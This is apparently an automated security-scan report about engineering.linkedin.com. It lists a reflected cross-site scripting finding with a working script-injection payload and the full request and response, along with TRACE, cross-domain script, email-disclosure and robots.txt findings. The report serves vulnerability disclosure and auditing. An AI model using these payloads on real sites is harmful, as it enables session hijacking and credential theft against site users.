Report generated by XSS.Cx at Wed Aug 08 11:01:33 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, engineering.linkedin.com

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1. Cross-site scripting (reflected)

2. Cross-domain script include

2.1. http://engineering.linkedin.com/

2.2. http://engineering.linkedin.com/blog

2.3. http://engineering.linkedin.com/projects

2.4. http://engineering.linkedin.com/team

2.5. http://engineering.linkedin.com/technology

3. TRACE method is enabled

4. Email addresses disclosed

4.1. http://engineering.linkedin.com/sites/all/themes/linkedin/js/external-links.js

4.2. http://engineering.linkedin.com/sites/all/themes/linkedin/js/location-selector.js

5. Robots.txt file



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce700"><script>alert(1)</script>7bcaa6a9d1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /?ce700"><script>alert(1)</script>7bcaa6a9d1d=1 HTTP/1.1
Host: engineering.linkedin.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.linkedinlabs.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bcookie="v=2&b73885b7-ceba-480e-af6a-ec2e41d721f2"; __qca=P0-1895014713-1323400949324; __utma=23068709.1871059675.1325989353.1325989353.1325989353.1; __utmb=23068709.20.10.1325989353; __utmc=23068709; __utmz=23068709.1325989353.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=23068709.guest; lang="v=2&lang=en&c="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:26:02 GMT
Server: Apache
Served-By: Joyent
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 08 Jan 2012 02:26:02 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1325989562"
Vary: Accept-Encoding
Content-Length: 28807
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8" />
<link rel="shortcut icon" href="http://engineering.linkedin.com/misc/favicon.ico" type="image/vnd.microsoft.icon" /
...[SNIP]...
<fb:like href="http://engineering.linkedin.com/?ce700"><script>alert(1)</script>7bcaa6a9d1d=1" send="false" layout="box_count" width="55" show_faces="false" action="like" font="">
...[SNIP]...

2. Cross-domain script include  previous  next
There are 5 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfill, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


2.1. http://engineering.linkedin.com/  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: engineering.linkedin.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.linkedinlabs.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bcookie="v=2&b73885b7-ceba-480e-af6a-ec2e41d721f2"; __qca=P0-1895014713-1323400949324; __utma=23068709.1871059675.1325989353.1325989353.1325989353.1; __utmb=23068709.20.10.1325989353; __utmc=23068709; __utmz=23068709.1325989353.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=23068709.guest; lang="v=2&lang=en&c="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:25:52 GMT
Server: Apache
Served-By: Joyent
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 08 Jan 2012 02:25:52 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1325989552"
Vary: Accept-Encoding
Content-Length: 28735
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8" />
<link rel="shortcut icon" href="http://engineering.linkedin.com/misc/favicon.ico" type="image/vnd.microsoft.icon" /
...[SNIP]...
</a>
<script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</ul>
<script src="//connect.facebook.net/en_US/all.js#appId=263110747051089&amp;xfbml=1"></script>
           <script type="text/javascript" src="//platform.twitter.com/widgets.js"></script>
...[SNIP]...
</a> <script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

2.2. http://engineering.linkedin.com/blog  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /blog

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /blog HTTP/1.1
Host: engineering.linkedin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://developer.linkedin.com/javascript
Cookie: bcookie="v=2&0eecd04a-318f-4bd6-95aa-31d2dece8fb9"; __utma=23068709.328184121.1323156109.1323156109.1323156109.1; __utmz=23068709.1323156109.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-262410866-1323155751711; has_js=1; lang="v=2&lang=en&c="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:51:27 GMT
Server: Apache
Served-By: Joyent
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 08 Jan 2012 02:51:27 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1325991087"
Vary: Accept-Encoding
Content-Length: 32549
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8" />
<link rel="shortcut icon" href="http://engineering.linkedin.com/misc/favicon.ico" type="image/vnd.microsoft.icon" /
...[SNIP]...
</a>
<script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a> <script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

2.3. http://engineering.linkedin.com/projects  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /projects

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /projects HTTP/1.1
Host: engineering.linkedin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://engineering.linkedin.com/?ce700%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E7bcaa6a9d1d=1
Cookie: bcookie="v=2&0eecd04a-318f-4bd6-95aa-31d2dece8fb9"; __utma=23068709.328184121.1323156109.1323156109.1323156109.1; __utmz=23068709.1323156109.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-262410866-1323155751711; has_js=1; lang="v=2&lang=en&c="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:37:53 GMT
Server: Apache
Served-By: Joyent
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 08 Jan 2012 02:37:53 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1325990273"
Link: </projects>; rel="canonical",</node/6>; rel="shortlink"
Vary: Accept-Encoding
Content-Length: 18812
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8" />
<meta about="/projects" property="sioc:num_replies" content="0" datatype="xsd:integer" />
<link rel="shortcut icon"
...[SNIP]...
</a>
<script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a> <script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

2.4. http://engineering.linkedin.com/team  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /team

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /team HTTP/1.1
Host: engineering.linkedin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://engineering.linkedin.com/?ce700%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E7bcaa6a9d1d=1
Cookie: bcookie="v=2&0eecd04a-318f-4bd6-95aa-31d2dece8fb9"; __utma=23068709.328184121.1323156109.1323156109.1323156109.1; __utmz=23068709.1323156109.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-262410866-1323155751711; has_js=1; lang="v=2&lang=en&c="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:37:34 GMT
Server: Apache
Served-By: Joyent
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 08 Jan 2012 02:37:34 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1325990254"
Link: </team>; rel="canonical",</node/7>; rel="shortlink"
Vary: Accept-Encoding
Content-Length: 26189
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8" />
<meta about="/team" property="sioc:num_replies" content="0" datatype="xsd:integer" />
<link rel="shortcut icon" hre
...[SNIP]...
</a>
<script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a> <script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

2.5. http://engineering.linkedin.com/technology  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /technology

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /technology HTTP/1.1
Host: engineering.linkedin.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://engineering.linkedin.com/?ce700%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E7bcaa6a9d1d=1
Cookie: bcookie="v=2&0eecd04a-318f-4bd6-95aa-31d2dece8fb9"; __utma=23068709.328184121.1323156109.1323156109.1323156109.1; __utmz=23068709.1323156109.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-262410866-1323155751711; has_js=1; lang="v=2&lang=en&c="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:37:30 GMT
Server: Apache
Served-By: Joyent
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sun, 08 Jan 2012 02:37:30 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1325990250"
Link: </technology>; rel="canonical",</node/8>; rel="shortlink"
Vary: Accept-Encoding
Content-Length: 18299
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8" />
<meta about="/technology" property="sioc:num_replies" content="0" datatype="xsd:integer" />
<link rel="shortcut ico
...[SNIP]...
</a>
<script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a> <script src="//platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...

3. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behavior is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: engineering.linkedin.com
Cookie: 135bf079669a6f52

Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:25:52 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: engineering.linkedin.com
Cookie: 135bf079669a6f52


4. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organization's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


4.1. http://engineering.linkedin.com/sites/all/themes/linkedin/js/external-links.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /sites/all/themes/linkedin/js/external-links.js

Issue detail

The following email address was disclosed in the response:

Request

GET /sites/all/themes/linkedin/js/external-links.js?lvlyft HTTP/1.1
Host: engineering.linkedin.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: */*
Referer: http://engineering.linkedin.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bcookie="v=2&b73885b7-ceba-480e-af6a-ec2e41d721f2"; __qca=P0-1895014713-1323400949324; __utma=23068709.1871059675.1325989353.1325989353.1325989353.1; __utmb=23068709.20.10.1325989353; __utmc=23068709; __utmz=23068709.1325989353.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=23068709.guest; lang="v=2&lang=en&c="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:26:02 GMT
Server: Apache
Served-By: Joyent
Last-Modified: Mon, 29 Aug 2011 18:26:58 GMT
ETag: "572f1-232-4aba90a63bf8b"
Accept-Ranges: bytes
Cache-Control: max-age=1209600
Expires: Sun, 22 Jan 2012 02:26:02 GMT
Vary: Accept-Encoding
Content-Length: 562
Connection: close
Content-Type: application/x-javascript

/**
* Make all external links opened in new tab.
*
* Copyright (c) 2011 LinkedIn Corporation. All rights reserved.
* @author Tan Nhu, tnhu@linkedin.com
* @date 2011-05-17
*/
(function($) {
   $(document).ready(function() {
       $("a").each(function() {
           var th = $(this),
               href = th.attr("href"),
               host = window.location.host,
               target = $.trim(
...[SNIP]...

4.2. http://engineering.linkedin.com/sites/all/themes/linkedin/js/location-selector.js  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /sites/all/themes/linkedin/js/location-selector.js

Issue detail

The following email address was disclosed in the response:

Request

GET /sites/all/themes/linkedin/js/location-selector.js?lvlyft HTTP/1.1
Host: engineering.linkedin.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: */*
Referer: http://engineering.linkedin.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bcookie="v=2&b73885b7-ceba-480e-af6a-ec2e41d721f2"; __qca=P0-1895014713-1323400949324; __utma=23068709.1871059675.1325989353.1325989353.1325989353.1; __utmb=23068709.20.10.1325989353; __utmc=23068709; __utmz=23068709.1325989353.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=23068709.guest; lang="v=2&lang=en&c="
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:26:01 GMT
Server: Apache
Served-By: Joyent
Last-Modified: Mon, 29 Aug 2011 18:26:58 GMT
ETag: "572f2-4b9-4aba90a63c040"
Accept-Ranges: bytes
Cache-Control: max-age=1209600
Expires: Sun, 22 Jan 2012 02:26:01 GMT
Vary: Accept-Encoding
Content-Length: 1209
Connection: close
Content-Type: application/x-javascript

/**
* Location/Country selector handles location popup.
*
* Copyright (c) 2011 LinkedIn Corporation. All rights reserved.
* @author Tan Nhu, tnhu@linkedin.com
* @date 2011-05-10
*/
(function($) {
   var selector = $(".location-selector ul"),
       isMouseInSelector = false,
       isMouseInAnchor = false;

   /**
    * Hide language selector.
    */
   function hideLanguage
...[SNIP]...

5. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://engineering.linkedin.com
Path:   /

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.

Request

GET /robots.txt HTTP/1.0
Host: engineering.linkedin.com

Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:25:53 GMT
Server: Apache
Served-By: Joyent
Last-Modified: Sat, 21 May 2011 02:26:22 GMT
ETag: "49ea4-604-4a3bff6d9d88d"
Accept-Ranges: bytes
Content-Length: 1540
Cache-Control: max-age=1209600
Expires: Sun, 22 Jan 2012 02:25:53 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8

# $Id: robots.txt,v 1.15 2010/12/29 04:05:07 webchick Exp $
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by site
...[SNIP]...

Report generated by XSS.Cx at Wed Aug 08 11:01:33 EDT 2012.